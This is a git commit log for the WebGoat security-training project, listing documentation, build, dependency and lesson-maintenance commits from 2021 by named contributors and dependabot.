Add message that WebGoat should be running while detecting datasource 2021-12-22 15:57:39 +01:00
Nanne Baars
969335f2f6
Update documentation for starting with java -jar 2021-12-22 15:57:11 +01:00
Nanne Baars
c000a9b467
Improve startup message Docker 2021-12-22 12:55:27 +01:00
dependabot[bot]
c5389f31c3 Bump docker/login-action from 1.9.0 to 1.12.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.9.0 to 1.12.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.9.0...v1.12.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-12-21 12:53:41 +01:00
Nanne Baars
85d4633f62
Update enforcer and exclude log4j-core completely (every version) 2021-12-21 10:05:12 +01:00
Nanne Baars
7ded0968c1 Ban log4j all together and update OWASP dep check
Remove
2021-12-20 21:45:44 +01:00
Zubcevic.com
cb6b1d73d1 upgrade to latest spring-boot libs and fixed related issues 2021-12-20 21:45:44 +01:00
Nanne Baars
44f70ce4dc Remove unnecessary compiler section from pom.xml as it confuses Intellij while importing 2021-12-20 16:45:06 +01:00
Nanne Baars
a42f8fcf75 No progress information for Maven 2021-12-20 16:45:06 +01:00
Nanne Baars
ac4b06f11b Move enabling security to WebGoat core and add resetting the lessons.
We can use it for more lessons and showcase how to apply security directly from the source code.

Resolves: #1176
2021-12-20 16:45:06 +01:00
Zubcevic.com
705ec85f35 openshift support 2021-12-19 13:49:38 +01:00
Àngel Ollé Blázquez
1f1fb73f86
Style fix (#1191)
* renamed README

* rename
2021-12-18 18:06:32 +01:00
Nanne Baars
e169650ebc Update documentation 2021-12-15 17:47:12 +01:00
Nanne Baars
2589aa3fa4 Update documentation 2021-12-15 17:46:58 +01:00
Nanne Baars
51c007c545 Update documentation 2021-12-15 17:46:46 +01:00
Nanne Baars
5089c107ba Update documentation 2021-12-15 17:46:35 +01:00
Nanne Baars
69a93f30d2 update documentation 2021-12-15 17:46:24 +01:00
Nanne Baars
80e01d680b add editor config 2021-12-15 17:46:14 +01:00
Nanne Baars
0658fcefcd update documentation 2021-12-15 17:46:03 +01:00
Nanne Baars
d41d21b2e6 Update the documentation 2021-12-15 17:45:52 +01:00
Àngel Ollé Blázquez
939f860ddd renamed spoof-cookie form 2021-12-08 19:37:10 +01:00
Àngel Ollé Blázquez
d047c41e86 Update README.MD 2021-11-27 18:06:45 +01:00
Nanne Baars
8dd66fc0ff Improve Docker start up script
- Make sure the last line contains the information
- Split in separate functions
- Add option to skip starting nginx (by default it is started)
2021-11-23 13:22:19 +01:00
Nanne Baars
d496c929b3 Use variables to check WebWolf host and port
WebWolf can start on a different port, the assignment should take this into account and not check for a hardcoded value.

Resolves: #1055
2021-11-23 13:22:08 +01:00
Nanne Baars
f8dda37027 Rename properties
Rename `webwolf.url.*` to `webwolf.*.url` making it easier to move to a configuration class as no nested property is necessary
2021-11-23 13:22:08 +01:00
dependabot[bot]
48fd7f310e Bump actions/cache from 2.1.5 to 2.1.7
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.5 to 2.1.7.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.5...v2.1.7)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-11-23 13:21:52 +01:00
Àngel Ollé Blázquez
5107e111bf test url fix 2021-11-19 13:07:49 +01:00
Àngel Ollé Blázquez
dd2e9f074d Hijack Session Lesson 2021-11-19 13:07:49 +01:00
Nanne Baars
ec954046db Add Discussions badge 2021-11-16 17:53:16 +01:00
Jeroen Willemsen
6be9635f51 Update OWASP badge 2021-11-16 16:43:18 +01:00
Jeroen Willemsen
f7dd69e382 Fix to move to java17 2021-11-16 16:39:53 +01:00
Nanne Baars
fc6b0f28df Add endpoint for the JavaScript to post to
The JavaScript posts to a random endpoint resulting in a HTTP/405 we now post to an existing endpoint.

Resolves: #1142
2021-11-16 16:34:14 +01:00
Nanne Baars
f13632578d Fix layout of assignment and remove duplicate feedback
Resolves: #1143
2021-11-16 16:34:02 +01:00
Nanne Baars
b23b428763 Fix spelling/grammar
Resolves: #1143
2021-11-16 16:34:02 +01:00
Nanne Baars
32a41debad Fix spelling/grammar and reference to ZAP 2.8.0
Resolves: #1141
2021-11-16 16:33:48 +01:00
Nanne Baars
fafddda82a Update ZAP instructions
We reference ZAP 2.8.0 explicitly which is not necessary. Also the way ZAP works changed, we no longer need to change the port as ZAP will report there is a conflict during startup.

Resolves: #1141
2021-11-16 16:33:48 +01:00
Nanne Baars
5bf33db78f Remove obsolete hints 2021-11-16 16:33:36 +01:00
Nanne Baars
20d7015dff Move unit test to JUnit 5 2021-11-16 16:33:36 +01:00
Nanne Baars
2fbc52e6a2 Remove some unused code 2021-11-16 16:33:36 +01:00
Nanne Baars
ab0433bb67 Fix link and typo
The link pointed to the old OWASP website. Also fixed some typos here and there

Resolves: #1136
2021-11-16 16:33:10 +01:00
Nanne Baars
f2f7f36a6d Fix typo in hints
The hints for JWT used `jwt` instead of `JWT` which makes it difficult to solve the lesson as the hint actually points someone in the wrong direction.

Resolves: #123
2021-11-16 16:32:57 +01:00
Nanne Baars
3ad51e6d6b Rewrite lesson to be self-contained and not depend on the core of WebGoat for fetching users
Split the assignment into 2 assignments
2021-11-16 16:32:43 +01:00
Nanne Baars
9e6ed11aa7 Remove link to lesson.css as they belong to the lesson 2021-11-16 16:32:43 +01:00
Nanne Baars
2bd6b36210 Fix layout assignment 2 2021-11-16 16:32:43 +01:00
Nanne Baars
bcaf4485c2 Move css to lesson itself 2021-11-16 16:32:43 +01:00
Nanne Baars
cd2e1c1c09 Fix spelling issues 2021-11-16 16:32:43 +01:00
Nanne Baars
22af35a9a7 Add favicon to WebGoat/WebWolf 2021-11-16 16:32:29 +01:00
Nanne Baars
c7e04cef97 Add logging to pom.xml 2021-11-16 16:24:45 +01:00
Jeroen Willemsen
fa2769cb25 Updating poms 2021-11-16 16:24:45 +01:00
Jeroen Willemsen
1a64fcd8d4 Recommit logging lesson as PR got a lot of conflicts 2021-11-16 16:24:45 +01:00
Nanne Baars
36bdd9b1a0 Rename master to main 2021-10-30 22:50:47 +02:00
Nanne Baars
6a875bdaa6 Add new developer 2021-10-28 21:21:34 +02:00
Nanne Baars
6a92f651f8 Move to Java 17 2021-10-28 21:19:05 +02:00
Nanne Baars
ad97e2c9a3 Remove activation dependency 2021-10-28 21:19:05 +02:00
Nanne Baars
e709a501cb
Remove develop from branches to build
The PR already works on a merge commit with develop no need to build it once more afterwards
2021-10-24 13:12:48 +02:00
Nanne Baars
76af488d16 Move Github actions to same image as Docker run on 2021-10-24 13:08:52 +02:00
Nanne Baars
981fcb3ebc Move to different base image for Java
This way we can also support arm/v7
2021-10-24 13:08:40 +02:00
Nanne Baars
cc0d0fa2a6
Ignore branch builds on main repository 2021-10-24 11:51:47 +02:00
Nanne Baars
a4104fdf8b
Ignore branch builds on our repository 2021-10-24 11:43:03 +02:00
Nanne Baars
720414eba6
Ignore branch builds on our repository 2021-10-24 11:40:13 +02:00
Nanne Baars
541c424eb9
Ignore branch builds on our repository 2021-10-24 11:36:35 +02:00
Nanne Baars
be2a6aa0bd
Run only on branches 2021-10-24 11:25:15 +02:00
Nanne Baars
e5ab24a1fc
Revert all GH actions work 2021-10-24 10:22:30 +02:00
Nanne Baars
b0174a6b26
Revert all GH actions work 2021-10-24 10:20:27 +02:00
Nanne Baars
cb8739ac06
Simplify Github actions 2021-10-24 10:16:52 +02:00
Nanne Baars
cb6c8af3bb
Simplify Github actions 2021-10-24 10:03:47 +02:00
Nanne Baars
672d752e0e
Simplify Github actions 2021-10-24 10:02:36 +02:00
Nanne Baars
8241d98a38
Simplify Github actions 2021-10-24 10:01:53 +02:00
Nanne Baars
86d3868d9e
Simplify Github actions 2021-10-24 10:00:30 +02:00
Nanne Baars
2f007babec
Simplify Github actions 2021-10-24 09:59:35 +02:00
Nanne Baars
7742444a99
Simplify Github actions 2021-10-24 09:58:28 +02:00
Nanne Baars
98bcef9a5e
Simplify Github actions 2021-10-24 09:44:57 +02:00
Nanne Baars
c3f9772a27
Simplify Github actions 2021-10-24 09:39:37 +02:00
Nanne Baars
01d3453c41 Simplify Github actions
Consolidate build steps to 1 script this way we don't run multiple builds for pushing a branch and create a PR.
2021-10-24 09:30:00 +02:00
Nanne Baars
eb163c8df1 Remove unused badges 2021-10-16 19:38:04 +02:00
Nanne Baars
ff67ee6484
Update to correct version 2021-10-04 14:40:19 +02:00
Jeroen Willemsen
ccdede647b Sign off
Signed-off-by: Jeroen Willemsen <jwillemsen@xebia.com>
2021-10-03 11:36:40 +02:00
Nanne Baars
4b32cc36a7 Remove sign off.
CLA assistant is structurally broken, let's keep it simple and not enforce signing off etc. There should be no barrier to get help from the community.
2021-10-03 11:35:50 +02:00
Nanne Baars
9e15e95001 Remove signoff action as it will not work with forked repositories 2021-10-02 17:49:42 +02:00
Nanne Baars
dc71975f27 No need to do mvn clean 2021-10-02 17:49:42 +02:00
Nanne Baars
b79a9c6b2c Build should use Java 16 2021-10-02 17:49:42 +02:00
Nanne Baars
a7b9954d0f 1101: fix quoting in statement 2021-10-02 17:39:26 +02:00
Àngel Ollé Blázquez
dfa0e1cdca XSS Lesson one boolean response
Signed-off-by: Àngel Ollé Blázquez <angel@olleb.com>
2021-10-02 01:09:52 +02:00
Nanne Baars
8e6d87d429
Remove unnecessary action 2021-09-30 18:53:27 +02:00
Nanne Baars
5adf1d1dd7
Renaming the actions 2021-09-30 17:11:08 +02:00
Nanne Baars
5164514789
Remove Slack integration from build as it needs a token and will never work when PR is received from a fork. 2021-09-30 17:09:21 +02:00
Nanne Baars
f28bb09724
Remove action 2021-09-30 16:54:52 +02:00
dependabot[bot]
7602781a5b Bump actions/github-script from 0.3.0 to 5
Bumps [actions/github-script](https://github.com/actions/github-script) from 0.3.0 to 5.
- [Release notes](https://github.com/actions/github-script/releases)
- [Commits](https://github.com/actions/github-script/compare/0.3.0...v5)

---
updated-dependencies:
- dependency-name: actions/github-script
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-09-30 11:46:52 +02:00
Àngel Ollé Blázquez
b6dff3f32b Update JDK references 2021-09-30 11:45:58 +02:00
Àngel Ollé Blázquez
360cdc7239 Fix broken link 2021-09-30 11:44:34 +02:00
Nanne Baars
74ca2ff12a
Add signed commits to pull request template 2021-09-29 20:03:09 +02:00
Nanne Baars
fbf18440fb
Revert "Use CLA again and add action to recheck it"
This reverts commit b7a1edd0
2021-09-29 20:02:42 +02:00
Nanne Baars
b7a1edd04a
Use CLA again and add action to recheck it 2021-09-29 19:56:22 +02:00
Nanne Baars
14bb53d43a
Add action to warn against PR against master (should be develop) 2021-09-29 19:00:29 +02:00
Nanne Baars
906ab766df
Add action to warn against PR against master (should be develop) 2021-09-29 18:57:29 +02:00
Nanne Baars
902af04dd4
Add action to warn against PR against master (should be develop) 2021-09-29 18:45:00 +02:00
Nanne Baars
05bef55c80
Add action to warn against PR against master (should be develop) 2021-09-29 18:42:25 +02:00
Nanne Baars
5933d226af
Add action to warn against PR against master (should be develop) 2021-09-29 18:31:19 +02:00
Nanne Baars
b7ff89243a
Add action to warn against PR against master (should be develop) 2021-09-29 18:23:11 +02:00
Nanne Baars
835104c88f
Add action to warn against PR against master (should be develop) 2021-09-29 18:21:33 +02:00
Nanne Baars
246b4de1b8
Add action to warn against PR against master (should be develop) 2021-09-29 18:20:08 +02:00
Nanne Baars
49109154a8
Add action to warn against PR against master (should be develop) 2021-09-29 18:12:22 +02:00
Jeroen Willemsen
efca784acf Update sign off command
Signed-off-by: Jeroen Willemsen <jwillemsen@xebia.com>
2021-09-29 16:03:23 +02:00
Nanne Baars
14a6efedf3 Add extra documentation for using the correct algorithm but removing the signature. 2021-09-29 15:21:09 +02:00
Nanne Baars
ef4b7ce1a7
Fix link to signoff commits 2021-09-29 15:16:03 +02:00
Jeroen Willemsen
68a69e9b07 Updated stale to only have those that require input from a user 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
93265a3686 Fix pr template 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
ae87f7eb49 Updated contributing 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
38bae09f82 First iteration of sign off testing 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
75b63ea179 first version of contributing and PR template 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
dd89e56f6e Start of contributing, adding lock and stale (as per example from Juiceshop 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
2cb9c52a7a Added code of conduct 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
e89a59b053 Added funding link 2021-09-29 14:56:06 +02:00
Nanne Baars
40456f25b9 Revert "Added funding link"
This reverts commit a1796f25773c314c311b967d15e484425dd5f52f.
2021-09-29 14:02:38 +02:00
Nanne Baars
f5604df256 Revert "Added code of conduct"
This reverts commit 96ec4aa90907932ac6e17f52d179641a03df4179.
2021-09-29 14:02:38 +02:00
Nanne Baars
32bd895632 Revert "Start of contributing, adding lock and stale (as per example from Juiceshop"
This reverts commit 897afa3c2be72cb71a961e80f6c659a28caf44c4.
2021-09-29 14:02:38 +02:00
Nanne Baars
ffe400cb76
Remove accidentally added "test" addition 2021-09-29 14:01:57 +02:00
Jeroen Willemsen
897afa3c2b Start of contributing, adding lock and stale (as per example from Juiceshop 2021-09-29 13:57:59 +02:00
Jeroen Willemsen
96ec4aa909 Added code of conduct 2021-09-29 13:57:59 +02:00
Jeroen Willemsen
a1796f2577 Added funding link 2021-09-29 13:57:59 +02:00
Àngel Ollé Blázquez
362248a065 Fix token signature validation 2021-09-29 13:51:17 +02:00
Jeroen Willemsen
9403bbb851 Cleaned up pom, added simple quality test action on push usable for forks of the repo 2021-09-29 11:40:33 +02:00
Àngel Ollé Blázquez
0c285eef5b
Merge pull request #1064 from WebGoat/1045
1045
2021-09-29 11:17:51 +02:00
juoum
1461263b60 Update WebGoat/GoatAndWolf version on the documentation to the latest 2021-09-26 14:02:49 +02:00
Àngel Ollé Blázquez
61f2bfa9ec Added jdk badge 2021-09-26 11:05:45 +02:00
Nanne Baars
04d1293a33
#1045: Run build with Java 16 2021-09-23 16:09:28 +02:00
Àngel Ollé Blázquez
9af514f3eb WebWolf DataSource Discovery 2021-09-23 15:57:48 +02:00
Àngel Ollé Blázquez
8e567b0f86 Spoofing an Authentication Cookie lesson 2021-09-23 15:51:17 +02:00
René Zubcevic
a4218b0016 Update start.sh
10 seconds is sometime to fast. WebWolf will fail to start if the database of WebGoat is not up.
2021-09-17 17:13:50 +02:00
Nanne Baars
42369816c9
1026 (#1047)
* Move back to Java 15 as XML parsers fail with XXE lesson

* Documentation improvement
2021-09-17 13:46:58 +02:00
Nanne Baars
3492655f1d
Merge branch 'release/v8.2.2' into develop 2021-09-05 14:42:07 +02:00
Nanne Baars
7847e69574
Merge branch 'release/v8.2.2' 2021-09-05 14:41:58 +02:00
Nanne Baars
e75cfbeb11
Adding release notes for version 8.2.2 2021-09-05 14:41:28 +02:00
Nanne Baars
7ec6826abc #1031: Fix lesson
- Hints not shown
- Add more hints
- Incorrect grant statement in lesson as example (removed it)
2021-09-05 14:32:55 +02:00
Nanne Baars
825193bbb5 Update to latest lombok version 2021-09-05 14:32:55 +02:00
Nanne Baars
a14e84d5c5 #1039: Fix token
Replace `name` with `user` and add `admin`
2021-09-05 13:07:56 +02:00
dependabot[bot]
14ab2faeaf Bump jsoup in /webgoat-lessons/cross-site-scripting
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.13.1 to 1.14.2.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.13.1...jsoup-1.14.2)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-09-04 16:28:15 +02:00
dependabot[bot]
8e47eac263 Bump docker/build-push-action from 2.4.0 to 2.7.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.4.0 to 2.7.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.4.0...v2.7.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-09-04 16:24:45 +02:00
Nanne Baars
6aaa743302 Fix vulnerable components lesson for Java 16. 2021-09-04 16:08:33 +02:00
Nanne Baars
0e08c4bde0
Update documentation related to Docker 2021-08-25 18:59:40 +02:00
Nanne Baars
f7871942da
Add mapping for localhost:80 to nginx 2021-08-25 18:59:40 +02:00
Nanne Baars
c8fad66973 #1024: Update landing page 2021-08-22 18:26:58 +02:00
Nanne Baars
9cc0ae5c38
Add -it to Docker command so ctrl+c is working directly 2021-08-22 18:17:48 +02:00
Nanne Baars
9a37a27a3c
Add explicit file encoding to the java command to prevent errors like: "It seems the application is startd on a OS with non default UTF-8 encoding:Cp1252"
"
2021-08-14 12:19:49 +02:00
Nanne Baars
453a09e0b4
Fix html 2021-08-14 12:19:49 +02:00
Arshan Dabirsiaghi
d566080a79 fix typo 2021-08-14 10:52:16 +02:00
Nanne Baars
4ce098f39b
Pass options directly instead of setting env variables 2021-08-04 10:41:51 +03:00
Nanne Baars
f22e4f55c1
Update release notes 2021-08-04 10:15:38 +03:00
Nanne Baars
15ea31a4df
Remove Travis badge and replace with Github actions 2021-08-02 18:46:01 +02:00
Nanne Baars
7881a70273
Merge branch 'release/v8.2.1' 2021-07-30 17:09:53 +03:00
Nanne Baars
032b90d483
Welcome message only when issue is opened 2021-07-30 13:23:10 +03:00
Nanne Baars
a050fa9669
Support multiple platforms 2021-07-29 11:26:17 +03:00
Nanne Baars
60bd04b9aa
Move to snapshot version 2021-07-29 11:13:16 +03:00
Nanne Baars
91af9a0ef7
Merge branch 'release/v8.2.0' into develop 2021-07-26 13:03:16 +03:00
Nanne Baars
45c420ed05
Merge branch 'release/v8.2.0' 2021-07-26 13:02:21 +03:00
Nanne Baars
486b81f8ec
Push image while releasing 2021-07-26 13:01:01 +03:00
Nanne Baars
eed0feed06
Merge branch 'release/v8.2.0' into develop 2021-05-25 20:56:38 +02:00
Nanne Baars
2c6c103f3b
Merge branch 'release/v8.2.0' 2021-05-25 20:55:56 +02:00
Nanne Baars
e9df66ca1f
Add release notes 2021-05-24 21:32:29 +02:00
Nanne Baars
1381daf06e
Fix zip slip issue on Windows 2021-05-24 16:12:15 +02:00
Nanne Baars
ac542ad8b8
Also build on release branches 2021-05-23 21:28:49 +02:00
Nanne Baars
a2677cee58
Update to latest Maven version 2021-05-23 21:19:06 +02:00
Nanne Baars
a641a19615
Add zip slip to path traversal lesson 2021-05-23 21:18:56 +02:00
Nanne Baars
a91d45dea5
Fix other macros as well 2021-05-23 20:11:23 +02:00
Nanne Baars
81c551552b
Fix layout issue image 2021-05-23 20:11:23 +02:00
Nanne Baars
69a370f438
New release, updating pom.xml 2021-05-23 20:11:23 +02:00
René Zubcevic
3aa791bc1b
dependabot suggested updates (#1005) 2021-05-19 18:20:59 +02:00
René Zubcevic
a53ba0af5c
Fix for accidentally disabled integration tests (#997)
* drop column is no longer required due to better db seperation
'

* integration test fix with BeforeAll
2021-05-19 18:20:31 +02:00
Nanne Baars
a1071e9c00
Fix return type of asciidoctor macro implementation. 2021-04-23 15:11:56 +02:00
Nanne Baars
70cda80176
Revert to older version of bootstrap, requires more work to get the layout working again
Especially the mailbox is not working in Bootstrap version 4
2021-04-23 10:21:19 +02:00
Nanne Baars
ac0cb3560c Fix merge conflicts for README 2021-04-22 20:58:05 +02:00
Nanne Baars
d9712e7589 Add distribution tag for Java action v2 2021-04-22 20:32:57 +02:00
dependabot[bot]
cfe763f98d Bump actions/setup-java from v1 to v2
Bumps [actions/setup-java](https://github.com/actions/setup-java) from v1 to v2.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v1...8764a52df183aa0ccea74521dfd9d506ffc7a19a)

Signed-off-by: dependabot[bot] <support@github.com>
2021-04-22 20:32:57 +02:00
Nanne Baars
4869616176 Simplify Docker image with regards to creating the webgoat user 2021-04-22 20:12:01 +02:00
dependabot[bot]
30abcc0a1a Bump actions/cache from v2.1.4 to v2.1.5
Bumps [actions/cache](https://github.com/actions/cache) from v2.1.4 to v2.1.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.4...1a9e2138d905efd099035b49d8b7a3888c653ca8)

Signed-off-by: dependabot[bot] <support@github.com>
2021-04-16 13:33:37 +02:00
unknown
38f1d52bf3 Corrected typos and poor grammar found in the SQL Injection lessons. 2021-04-16 13:29:01 +02:00
Nanne Baars
e49f5d610f #961: Give each user its own schema for the lessons
This way we can reset a lesson using the database for each user and not for all users at once.
Also solves the issue that when someone solves the lesson it is solved for all users on the same WebGoat instance
2021-04-16 13:28:07 +02:00
Nanne Baars
04d065fd87 Update Dockerfile 2021-04-16 13:27:05 +02:00
Nanne Baars
d345a9a716 Remove obsolete Docker configuration 2021-04-16 13:27:05 +02:00
Nanne Baars
2d8d898fb7 Remove documentation about Docker compose and stack from README
Spring cleanup to make it a bit easier for users to only offer two options: Docker and stand alone version
2021-04-16 13:27:05 +02:00
Nanne Baars
ad9ee094b4 Remove all scripts
Part of the Travis build we use to have no longer needed as we moved to Github actions
2021-04-16 13:27:05 +02:00
Nanne Baars
cb2277628c Remove docker-compose files
They are old might work but we now have the all in one image which we actively maintain and release
2021-04-16 13:27:05 +02:00
Nanne Baars
5869b64ee0 Remove Vagrant image
It is old any never used we only update versions in this file
2021-04-16 13:27:05 +02:00
Nanne Baars
6ae9e44e84 Remove platform dependent deployments
They are part of the repository since 2017 they have never been updated and probably don't work anymore
2021-04-16 13:27:05 +02:00
Nanne Baars
d0f36f5227
Fix failing XXE test 2021-04-03 22:31:27 +02:00
Nanne Baars
5d45fd6260 Update Checkstyle version 2021-04-03 10:58:22 +02:00
Nanne Baars
b3f7a5338e Update to latest versions 2021-04-03 10:58:22 +02:00
Nanne Baars
b858484b97 Copy jar files to target so they are not stored in the current project directory 2021-04-03 10:58:22 +02:00
Nanne Baars
b76330f20f Add minimal Maven version 2021-04-03 10:58:22 +02:00
Nanne Baars
ee1d4b0ac1 Update documentation for Java 15 2021-04-03 10:58:08 +02:00
Nanne Baars
abf431fffb Remove unnecessary plugins in subprojects 2021-04-03 10:58:08 +02:00
Nanne Baars
3e8dbc9bc9 Run build on pull requests as well 2021-04-03 10:58:08 +02:00
Nanne Baars
721edc9985 Move WebGoat to Java 15 2021-04-03 10:58:08 +02:00
unknown
82198424df Corrected typos and poor grammar found in the SQL Injection lessons. 2021-04-02 21:31:11 +02:00
Nanne Baars
ba2cb7d14f #974: Update the lesson text 2021-04-02 07:31:19 +02:00
Nanne Baars
de453fad84 Fix issue with labels in SQL lessons 2021-04-01 17:48:32 +02:00
Nanne Baars
59c96f9890 Fix lesson it no marks it as solved if the user uses a different username 2021-03-31 19:32:47 +02:00
Nanne Baars
f7d3fd586e Remove the span added to the feedback 2021-03-31 19:32:47 +02:00
Nanne Baars
798afc756b Remove as it matches the normal success message 2021-03-31 19:32:47 +02:00
Nanne Baars
59aaab52a9 Disable testcase as it fails on Windows, needs investigation. 2021-03-31 19:31:13 +02:00
Nanne Baars
14621003d7 Remove banner.txt as you can set it with a property in application.properties 2021-03-31 19:31:13 +02:00
Nanne Baars
23f67b3d25 Remove unknown field which is set by reflection 2021-03-31 19:31:13 +02:00
Nanne Baars
1c6de07a54 Move integration test to JUnit 5 2021-03-31 19:31:13 +02:00
Nanne Baars
cda852f4e8 Run unit tests again for all lessons and rewrite all to JUnit 5
Due to the migration to Spring Boot 2.4 the Vintage dependency was no longer included by default, resulting in skipping all unit tests.
2021-03-31 19:31:13 +02:00
Nanne Baars
1d6a5ca01b Run unit tests again and rewrite all to JUnit 5
Due to the migration to Spring Boot 2.4 the Vintage dependency was no longer included by default, resulting in skipping all unit tests.
2021-03-31 19:31:13 +02:00
Nanne Baars
c574a6610b Make sure the release is behind approval 2021-03-31 19:31:13 +02:00
Nanne Baars
ae6d448aa0 Replace ${revision} with real version as Maven
The CI pipeline should take care of this.
2021-03-31 19:31:13 +02:00
webgoat-github
b8bdb8f432 Updating to the new development version 2021-03-30 14:05:26 +00:00
Nanne Baars
3300c47c03 WIP 2021-03-30 16:03:57 +02:00
Nanne Baars
d077a76063 WIP 2021-03-30 16:02:06 +02:00
Nanne Baars
43d13dd1f9 WIP 2021-03-30 16:01:05 +02:00
Nanne Baars
072d99040f WIP 2021-03-30 15:55:18 +02:00
Nanne Baars
4d5968da1a WIP 2021-03-30 15:54:04 +02:00
Nanne Baars
5a3843cf1f WIP 2021-03-30 12:36:48 +02:00
Nanne Baars
5fd0f03fd4 WIP 2021-03-30 11:12:41 +02:00
dependabot[bot]
1cd115ace5 Bump actions/cache from v2 to v2.1.4
Bumps [actions/cache](https://github.com/actions/cache) from v2 to v2.1.4.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2...26968a09c0ea4f3e233fdddbafd1166051a095f6)

Signed-off-by: dependabot[bot] <support@github.com>
2021-03-29 12:12:05 +02:00
Nanne Baars
a9f8ff1090 Use 8.2.0 instead of v8.2.0 2021-03-29 09:30:51 +02:00
Àngel Ollé Blázquez
e114360a5f Fix SQL Injection 2021-03-29 08:28:36 +02:00
Nanne Baars
b16e60f691 Move OWASP dependency check to a Maven profile
This takes way too long to perform each time on a Github action as we cannot cache the image
2021-03-29 08:27:17 +02:00
Nanne Baars
f959e0387e Update Guava dep 2021-03-29 08:27:17 +02:00
Nanne Baars
425eb03a6e Remove docs dir and only keep the redirect to the OWASP website 2021-03-29 08:27:17 +02:00
Nanne Baars
8e312204ee Update to latest version and move the plugins out of the profile section.
Move the configuration files from parent dir to config dir
2021-03-29 08:27:17 +02:00
Nanne Baars
2e733f8594 Fix failing test on Windows
This was found because we migrated to Github actions which causes this test to fail because it uses "\n"
2021-03-29 07:43:07 +02:00
Nanne Baars
4e308d7880 Fix automatic rebase command 2021-03-29 07:30:03 +02:00
Nanne Baars
935871c39a Add some debugging information to know which test cases might have failed 2021-03-29 07:30:03 +02:00
Nanne Baars
ce6e4d2090 Fix issue with looking for all directories one present should be enough 2021-03-29 07:30:03 +02:00
Nanne Baars
68a53bc5dc Fix failing test Windows it fails with a much lower number 2021-03-29 07:30:03 +02:00
René Zubcevic
459d9ad74c Move away from Travis to Github actions 2021-03-29 07:30:03 +02:00
Nanne Baars
e40a26f193 Improve token handling 2021-03-15 17:48:13 +01:00
Nanne Baars
59e04dee6e Fix typo 2021-03-15 17:48:13 +01:00
Nanne Baars
5a16ea514a Fix quiz 2021-03-15 17:48:13 +01:00
Nanne Baars
8d2d82764f Assignment 8 loads JWT key again 2021-03-15 17:48:13 +01:00
Nanne Baars
dedb2f9fef Open new tab when clicking on JWT link for WebWolf 2021-03-15 17:48:13 +01:00
Nanne Baars
8b89667d9d Fix quiz, first should be second 2021-03-15 17:48:13 +01:00
Nanne Baars
d4da2d0efa Convert lesson into using DB instead of using regular expression to check the solution 2021-03-15 17:48:13 +01:00
Nanne Baars
c798e4be32 Fix JWT integration tests 2021-03-15 17:48:13 +01:00
Nanne Baars
1ebd50cb5b WIP 2021-03-15 17:48:13 +01:00
Nanne Baars
f2ab5c1968 Update JWT lesson 2021-03-15 17:48:13 +01:00
Nanne Baars
ead1d6fffb Bootstrap requires jQuery 2021-03-15 17:48:13 +01:00
Nanne Baars
9b81cb44fa Bootstrap loads now, otherwise dropdown etc does not work 2021-03-15 17:48:13 +01:00
Nanne Baars
142631c7a0 WIP 2021-03-15 17:48:13 +01:00
Nanne Baars
e78549fb72 Add JWT encoder to WebWolf 2021-03-15 17:48:13 +01:00
René Zubcevic
431da30946
Selenium test added (#906)
* add a selenium test for firefox

* add geckodriver and firefox to travis

* install updated

* install updated

* try out suggested webdriver dependency class

* add more resilience
2021-02-21 19:57:08 +01:00
Maxim Masiutin
ad5ab4ca2e
Fixes #321 (#935)
Copyright year was "20014", replaced to "2014"
Fixed the old github.io URL which no longer exist
See https://github.com/WebGoat/WebGoat/issues/321
2021-02-18 19:06:11 +01:00
strollingHeifer
522f6b5fff
Fixed a typo (#936)
Fixed a typo in the documentation and added a colon for better readability
2021-02-18 19:04:00 +01:00
Toshi
c6789d7ce3
Update Apache Maven from 3.2.1 to 3.2.5 (#932)
The version of Maven is not compatible with the plugin "org.codehaus.mojo:flatten-maven-plugin:1.2.5" used in webgoat-container
```
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Using 'UTF-8' encoding to copy filtered properties files.
[INFO] Copying 1 resource
[INFO] Copying 111 resources
[INFO] The encoding used to copy filtered properties files have not been set. This means that the same encoding will be used to copy filtered properties files as when copying other filtered resources. This might not be what you want! Run your build with --debug to see which files might be affected. Read more at https://maven.apache.org/plugins/maven-resources-plugin/examples/filtering-properties-files.html
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary:
[INFO] 
[INFO] webgoat-container ................................. FAILURE [ 18.319 s]
...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 26.001 s
[INFO] Finished at: 2021-02-06T09:37:58+00:00
[INFO] Final Memory: 49M/162M
[INFO] ------------------------------------------------------------------------
